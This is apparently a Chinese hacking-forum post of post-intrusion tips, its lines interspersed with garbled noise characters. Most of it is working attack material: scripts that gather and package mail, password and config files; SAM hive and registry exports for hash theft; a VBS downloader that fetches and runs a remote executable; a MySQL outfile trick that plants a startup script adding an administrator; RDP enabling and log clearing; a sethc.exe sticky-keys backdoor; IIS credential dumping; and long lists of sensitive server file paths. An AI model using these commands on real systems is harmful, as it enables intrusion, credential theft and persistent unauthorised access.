: j* w  x( g( m1 g5 o——————————————
$ ?' _7 p9 e) w. F  }  F$ M* _: ?感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
4 w4 t1 B+ |, }) ]) n  lalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
0 a3 ]: N+ J7 ~2 H$ ?. E{
4 g/ F+ V5 V+ w) c注：
  v4 f. a" z3 |8 L: T& ?关于tar的打包方式,linux不以扩展名来决定文件类型。
6 A* B. B; I8 J# h3 x8 M' g0 C若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
2 S6 @% Z& |( z: \) r6 ~那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
  m/ V# n" P' p3 _}  

提权先执行systeminfo
token 漏洞补丁号 KB956572
5 A" T% T* s% v' LChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
" x: F3 y0 b; Q  ^* V2、收集系统信息的脚本  
for window：
, ], E' {& B) k$ U
@echo off
$ L% [! B+ o% ]( Wecho #########system info collection
' R/ C- T0 `  e- Q- Esysteminfo
ver
hostname
- C6 Q) c* H; Y, Wnet user
. S/ n5 }1 }) j4 ]8 G6 X, j, }- Anet localgroup
net localgroup administrators
1 c, i3 I# s* ^2 [net user guest
6 \4 e$ f8 z8 K: Z$ e1 f( Pnet user administrator

echo #######at- with   atq#####
echo schtask /query
8 c: Q6 K0 i) Q( i1 N+ g
echo
6 V  M9 c5 F" O4 Wecho ####task-list#############
; L4 b1 a. t$ {tasklist /svc
5 ]& I1 C( \: i( d+ i/ s2 Pecho
echo ####net-work infomation
ipconfig/all
% t* z; V: n4 h: I8 Aroute print
arp -a
netstat -anipconfig /displaydns
4 h- y- k, \7 kecho
. e/ a/ O4 T* H' c+ l$ ^. K3 T) ]echo #######service############
) T: n/ _+ j" a4 x! ~sc query type= service state= all
echo #######file-##############
4 B7 n; \8 I0 Qcd \
7 g. k% M3 D9 M7 x( {! l" Wtree -F
, \, J( `8 ^0 Q- h) ^for linux：

' R# n5 u% M- z+ ?1 e" j#!/bin/bash

4 I& D! G* s$ g. Q, {# m# h% Becho #######geting sysinfo####
( X) L, n* r6 z( H- y' Y' o5 v5 Hecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
) `4 _( J5 r7 iecho
. |, a2 Y( q. q, y/ {+ ]( i; n. ecat /proc/cpuinfo
6 J# j) v/ f+ ?2 I4 R( |$ W" y2 hecho
rpm -qa 2>/dev/null
######stole the mail......######
2 ~# B' {' A$ s5 Y- d* ]0 n" {4 ~cp -a /var/mail /tmp/getmail 2>/dev/null
* H5 p! ?, g/ r8 r, @7 V
  u8 v6 j5 w/ K. l9 {& V* ]
4 I! H- i5 w% d4 N8 I* j7 v- secho 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
8 o3 G8 t" C  F( l2 E* W  q4 Hset

( |# R  c9 Y& \. Necho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
arp -v
echo ########user####
8 J+ U" k% b$ f8 f$ @3 Ocat /etc/passwd|grep -i sh
! {' P/ u2 U8 i- o$ ?
echo ######service####
chkconfig --list
; G% j& G3 C) G! D0 K2 r4 N: h! I
4 s6 N: o" ]3 g, q, jfor i in {oracle,mysql,tomcat,samba,apache,ftp}
& d1 G7 t8 E3 x- f# x" jcat /etc/passwd|grep -i $i
$ v- O  D$ Z; ?, Q" t3 k6 _done

$ A* S( N5 _  H7 x, N# Zlocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
$ ]/ i, B' T. w( i  B' fsleep 5
4 e9 d" v6 j6 }. ~' Elocate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
% G+ p/ o: Z; X- J5 X- ^sleep 5
+ ~) ~) ]  }" c$ k1 a$ H
$ o5 C& r1 H% k7 d###maybe can use "tree /"###
echo ##packing up#########
# T) Z3 x2 e) s: _" S# v+ v  Ktar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
% q9 Y5 ^5 t, P4 R! B" K0 J4 ~3、ethash 不免杀怎么获取本机hash。
! n# @$ d6 m0 Z" _首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
" ~0 n- i, {4 Y. j               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
; C9 D) E3 Z: b2 S据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
" P, s* ~" m7 j# I% C——————————————
4、vbs 下载者
3 Z9 L; H! e/ H9 e# F2 U; D0 ^1
- l' g- ~/ Y8 g8 ]echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
  m: W" K- |1 e/ @# Q- Techo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
; D# W% k5 H* L7 L& X" Kecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
+ F) `  w# Y9 fecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
2 V2 D6 Z, X# w7 \; L1 Iecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
2 b& \+ s5 t# |
2
6 Y, h: H# Z* a+ D* r# AOn Error Resume Nextim iRemote,iLocal,s1,s2
7 b  ~9 Y0 |5 x1 w, M' RiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
* `& W' E8 C2 H" K. l3 A% esGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

6 f7 ^! M5 B3 ]# Z! ^7 kcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
- O% C* a9 t. U% q; h2 H——————————————————
5、
1.查询终端端口
. H4 {% Y8 G, k- u! p+ A7 qREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
- I0 O# E4 k  KREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
) {; R" {( a6 t- a3.更改终端端口为2008(0x7d8)
$ ]0 }4 J/ g' XREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
2 |- G% p4 H/ F3 W4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
  i4 B; X8 f6 s& B) u: f  S6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
& y! M4 @& Z% Z; J4 `2 K; winsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
  D( v, B9 N  L. \) V$ f1 H' u- mselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
! [" U0 W7 Y4 m$ P' r+ z, s' f7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

  c$ t1 j1 U7 V1 c2 R. c" U列出d的所有目录
  
, d# ]/ A. I* P8 r% Y4 f% b# D  for /d %i in (???) do @echo %i
0 i$ m& o0 u$ r; d  Z- ^
) h9 _7 x4 h  T6 D, m) F4 i! @把当前路径下文件夹的名字只有1-3个字母的打出来

: |2 M7 ^2 y! T/ ?! J2.for /r %i in (*.exe) do @echo %i
  
6 l- [, \: F8 ^; P! a+ N以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
  Y6 y2 t: o- B1 b0 A: w& L
; ?& v, V" z. d) q4 m  Hfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

8 Y# R* ]& B: |- ~* i! d3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
) p- h7 D# a/ K1 w: i
. P6 I2 z4 r8 T2 a$ D4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
5 v2 U1 U" F! P( y9 `
  delims=后的空格是分隔符 tokens是取第几个位置
$ Q) ~7 D( F0 n& L/ P——————————
7 P) O' p- v% |; O# C2 _% m●注册表:
, u- @$ Q7 g5 U  V+ i1 V3 q1.Administrator注册表备份:
3 ~* M; g! g' o8 G3 I. I; breg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
5 h9 {! B/ G6 v: Y$ t: B* R修改PortNumber.

3 o. y2 P9 \0 v9 L! J3.清除3389登录记录:
. {, u! @( z) z5 Q+ rreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
" b$ X1 Q& ~# F& w( e+ m+ \3 g% N
+ j( o: v9 N% K3 C! e& J4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
/ o, k$ t8 g) u2 N( |
5.禁用TCP/IP端口筛选(需重启):
  u, p6 V+ L* e1 ]& v+ n' }' f4 Y1 pREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
( A, M) l& U6 G: \; x' r或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
* l7 c1 S8 a0 t* {$ lnetsh ipsec static set policy name="myipsec" assign=n
9 D  H+ ^; M  N2 m
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
# A6 o% f' Y1 ]4 mreg save hklm\sam c:\sam.hive
" j' B; G1 B8 b# T. k+ m/ [reg save hklm\system c:\system.hive
$ \$ ]; \" Y' qreg save hklm\security c:\security.hive

5 t% ?' k' n2 D, I( M10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
# X% L, k/ r- K: ~1 j1 i-----------------------------------
星外vbs(注：测试通过，好东西）
# r6 X1 F4 X4 Z' ]2 C8 \# G2 TSet ObjService=GetObject("IIS://LocalHost/W3SVC")
4 e$ ?4 _" ]4 T- g7 P7 ]For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
9 b. n6 q8 h4 H+ I6 _9 Rif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
( U% r! d3 P. d6 L) h* Q! S* N1 vexit for
msgbox("error!")
6 w& @) j/ \& {/ A& @- g" S4 Fwscript.quit
/ A4 p! N! b. G) Aend if
# L$ j. K. _% ^4 ^3 j6 Yserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
# Y1 ^) w( u6 Q# W' [& Y  kpath=IIsWeb.path
! \8 ~( L' e; r- C! h1 W; B1 g! n/ |list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
# j' r7 ?* P4 U7 Y  nend if
Next
( c$ L6 s! t  G: j% [6 `wscript.echo list
- t; G+ w, S+ LSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
6 F/ R6 M. J+ FWScript.Quit
% m7 `* g- y+ b% w; k$ ^( q复制代码
! v/ h, W$ T/ g! ?----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
* e7 z/ e1 _  ~2 [2 M2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
# V+ Q8 _) ?; b* L2 v: V. a<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
% J4 `/ e0 m! H2 F复制代码
; S* k# z4 `! e- q3 q然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
* T5 G7 R, [& T3 b- j4 xPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
4 _& b# v8 M  g2 b2 |5 S( R! z1 o, kasp代码，利用的时候会出现登录问题
1 `  }' B( `. n0 K# e 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
: r2 J6 N5 Q) w9 y url=request.severvariables("path_info")
- E; Z1 E, G, b) M: C: u path_info可以直接呈现虚拟路径 顺利解析gif大马

7 l( L' A) O6 V: q5 x$ C# A8 t; ~& S==============================================================
LINUX常见路径：

' j' a0 Q" {3 p/etc/passwd
/etc/shadow
/etc/fstab
7 A- p4 `- u) O3 ~( k/etc/host.conf
/etc/motd
/etc/ld.so.conf
, p# V% F5 \  T  o/var/www/htdocs/index.php
/var/www/conf/httpd.conf
! W( W- B2 C$ t1 R- ]/ c/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
. n. |- h' p6 y6 u4 c( E/var/httpd/htdocs/index.html
  e1 g  D1 j( Q; x' F2 s. \5 D/var/httpd/conf/php.ini
' R; ^/ Q# R/ I. ?% u/var/www/index.html
4 C8 m, u  }" w2 Q: ]/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
3 [. p$ }+ J& ~6 a8 b8 H/ {: _/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
# p3 z  f& w; @6 F/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
, s6 \' q! `) T6 P4 L/www/php5/php.ini
. ^' M- B* {* c/www/conf/httpd.conf
/www/htdocs/index.php
/ x% y0 _: J% S4 n6 s9 u$ H) b/www/htdocs/index.html
# s8 r; |( E. G) J/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
$ O- B( R# I7 v3 Y( ^/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
  e1 I; [* i/ |, A% ?/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
0 {. _  l4 u) |5 O/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
4 B: o# `' Z( U5 M/etc/phpmyadmin/config.inc.php
' b6 W9 T- p/ _: J5 I/etc/mysql/my.cnf
8 k! Q$ m, u9 S( Y: @4 B" W/etc/httpd/conf.d/php.conf
$ V$ ]8 k5 k" i2 l, h) }( }3 F2 X/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
* m# ?- x$ k/ _9 g3 h/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
) B; O+ w9 y: P) ^5 e. ~/var/log/apache/error_log
/var/log/apache/error.log
2 Q8 S; f* l+ [. Y8 ^; N/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
) b! ~6 r1 w% j7 ~/var/log/apache2/error.log
/var/log/apache2/access_log
/ n2 m3 k" _4 {3 F! A/var/log/apache2/access.log
  }3 t/ _8 d; r( K2 I/var/www/logs/error_log
, W" g0 \! M& _) m! q# i/var/www/logs/error.log
% e  z, f8 Q3 V% @6 s/var/www/logs/access_log
/var/www/logs/access.log
! N. r, d8 m6 ]: [2 U1 M, D# ]/usr/local/apache/logs/error_log
: y8 z1 ]$ ^  Z, D8 k9 c, }/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
8 J# N" L/ P5 K/ b0 x/ c/usr/local/apache/logs/access.log
: d: [+ e' U; P& c* X  n/ e/var/log/error_log
' M" F7 w+ ?% M8 w7 j/var/log/error.log
/var/log/access_log
/var/log/access.log
8 V4 w9 _9 Y0 E& Y/usr/local/apache/logs/access_logaccess_log.old
; O2 b+ }* H0 w9 a/usr/local/apache/logs/error_logerror_log.old
' ]9 x( v# L. v/etc/php.ini
  N& Q3 Q& l4 T2 {# o/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
! m5 `' G; S. \- g' j# @% w: ~+ H1 M/etc/httpd/php.ini
0 L2 |% i- n% a/ l; a  i/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
% L" n6 D" b5 d( j! W/usr/local/lib/php.ini
. z2 P6 o) k/ v/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
" B9 |7 Z: T# w! N7 e/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
6 Z# `" d, q" `9 T/usr/local/php5/etc/php.ini
* B2 r! A3 C7 |4 d: V5 v$ O/usr/local/php5/php5.ini
. I2 z0 z3 h7 }/usr/local/apache/conf/php.ini
# Z9 y' H% t. W8 w; h/usr/local/apache/conf/httpd.conf
% Q( ~/ ^( w0 f/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
3 h; G/ T2 J9 Y' q' K/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
: P" Q8 T3 w: L, `4 f! j, @/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
) m  B% x  R$ c1 Q; m/etc/php/php.ini
7 x0 ]% v* A$ u+ t5 h/ D: K" c/etc/php/php4/php.ini
7 Y5 L& K7 D$ }# l2 w. m: v/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
$ c8 H) s8 l! D/ q( Y/ R/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
7 k+ q+ q2 h9 K! J1 Y5 \/php5/php.ini
" d) r0 k9 L; B( Z: Z0 x! f. [/php4/php.ini
3 ?3 ~, Q+ P& ~$ I! N2 f/php/php.ini
/PHP/php.ini
/apache/php/php.ini
. B$ f" Y* d) y% [/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
$ [, @" c# B; \! p/ a9 |/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
6 w9 w% B2 I3 {+ {2 Y2 W1 B" r& s/var/log/mysql/mysql-bin.log
$ G. A- J* ?% u- {7 J5 \- P2 H/var/log/mysql.log
/var/log/mysqlderror.log
7 a) M" ^. a6 y6 J( \4 d! i/ y/var/log/mysql/mysql.log
6 A0 S3 Q  S' C8 z: q! c+ z/var/log/mysql/mysql-slow.log
: {4 u4 O6 x' m0 g1 n0 b+ H/var/mysql.log
$ Q+ b9 r9 B7 O$ P' {/var/lib/mysql/my.cnf
8 Q0 B4 s  W/ V. o/usr/local/mysql/my.cnf
0 m& Y7 x6 F3 E" a, L- C" v/usr/local/mysql/bin/mysql
6 m2 m4 v( n% d$ Z/ d! x' F/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
+ y! `8 K1 j- D7 B. d) o2 K/ k& r/usr/local/cpanel/logs/access_log
$ Z0 _# R, r3 S; z* C# _/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

' Y# k$ l5 q7 k! K% G% q2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

0 N, ]% d% Y: p0 `0 [9 z2 Rc:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt
0 V9 s7 l0 H( ^6 ^# r
; p' O% d' }: b) O$ p# q# z0 ic:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

' ~0 v4 U% M" k3 H! U; {3 yc:\hzhost\hzclient.exe
) m( y! y. N, G6 IC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
+ |) Q7 s; A3 _. _) C
; P+ n$ ^- B4 L8 C. l2 SC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
" Z: c. m  G& @C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
9 ~3 q+ ]2 Y% [: R% I, Y3 @+ Ec:\WWWROOT\index.html
2 d: ^" T: b4 [+ nc:\website\index.html
c:\web\index.asp
c:\www\index.asp
! ?/ k( r" l0 `3 g6 X. D! V* Q+ Jc:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
5 u: L) s) r+ V: _' Z! Vc:\www\index.php
5 w$ x! a9 i) Cc:\WWWROOT\index.php
c:\WWWsite\index.php
! H0 C0 K+ h2 Z+ E+ tc:\web\default.html
c:\www\default.html
, e5 Z2 \6 }, P7 E- P* w8 Gc:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
+ e( _! ~9 c2 z, K7 e2 Jc:\www\default.asp
% G/ f. `) `7 x7 d; n& \% E! pc:\wwwsite\default.asp
c:\WWWROOT\default.asp
6 Z% t+ B4 B: V2 [: P7 s' o7 gc:\web\default.php
2 a) n9 V6 c/ s3 j7 B4 pc:\www\default.php
- i7 C& Q  z- pc:\WWWROOT\default.php
  Q' h* B3 G8 n* pc:\WWWsite\default.php
; k5 a. j3 ]3 y1 M8 t1 vC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
0 Q" P) S) _4 Uc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
( E3 ^" U7 I; DC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
7 q; L) }# O! n+ R, D  I% z  @C:\Program Files\Internet Explorer\IEXPLORE.EXE
$ A4 g! A1 r  T; O: B" ^& ?C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
4 V) U6 {4 R* V2 F, UC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
8 A2 R( q0 E% e+ ~C:\Documents and Settings\Administrator\Cookies\index.dat
. z3 d/ x8 }/ t% J- n' DC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
% ?* Q% a- ]& u4 pC:\Documents and Settings\Administrator\My Documents\1.txt
) z% I5 g! c+ ]7 f: W: f; M$ K" ~C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
- O4 y9 h3 ]' K1 xC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
. \6 \& j- u% ^8 q$ I/ `# v- YC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
: `! r+ ]2 k' C4 S2 UC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
% p( C/ V& N+ s  B: B, w: ?4 DC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
8 D, u2 T3 R' G; @2 E/ QC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
, @- Y! J& o6 x* x$ @C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
" y! k$ j# N# \" l+ OC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
6 d! u" K; z0 y) ?C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
1 B, V, n) B. ]! L+ |C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
0 U: _& [  Y: \0 wC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
# f; u9 c0 v* X# T, N% m' g, d2 h) `C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
) j" U3 @1 D' P0 x2 Hc:\MySQL\MySQL Server 4.1\bin\mysql.exe
; K7 W! ~! J( m; Tc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
+ l+ a; ]6 T1 m. j6 v9 uC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
) D" B* \- o3 ^C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
" |- s, G& y7 J6 s& u! e, J) SC:\WINDOWS\system32\config\default.LOG
; h$ ?, o3 o4 l, `8 `C:\WINDOWS\system32\config\sam
! e4 r$ t8 @' {! s" \C:\WINDOWS\system32\config\system
  F4 w" y0 Y% f( Nc:\CMailServer\config.ini
' f' p* ?% b, n" y0 G# Sc:\program files\CMailServer\config.ini
# Q6 P* C* `" J, S' kc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
1 `" W- H  Z, f) A% c1 p" nc:\tomcat\bin\version.sh
1 q+ ~5 B4 ~: S. S4 W- i* N2 oc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
) r: {6 Q1 ?& M" S& u+ Uc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
7 V. I, S. O" ~2 ~& kc:\Apache2\Apache2\bin\Apache.exe
5 R1 d( e4 }9 d3 C  V. Qc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
# ^5 l/ ~& e. a% z+ f8 j9 Q! d& _C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
! P+ `+ L1 Z& x6 T# {/usr/share/tomcat6/bin/startup.sh
+ h% X" T' Q2 p- \% L( M# L) s/usr/tomcat6/bin/startup.sh
  i, U7 V, a! F. x# B- jc:\Program Files\QQ2007\qq.exe
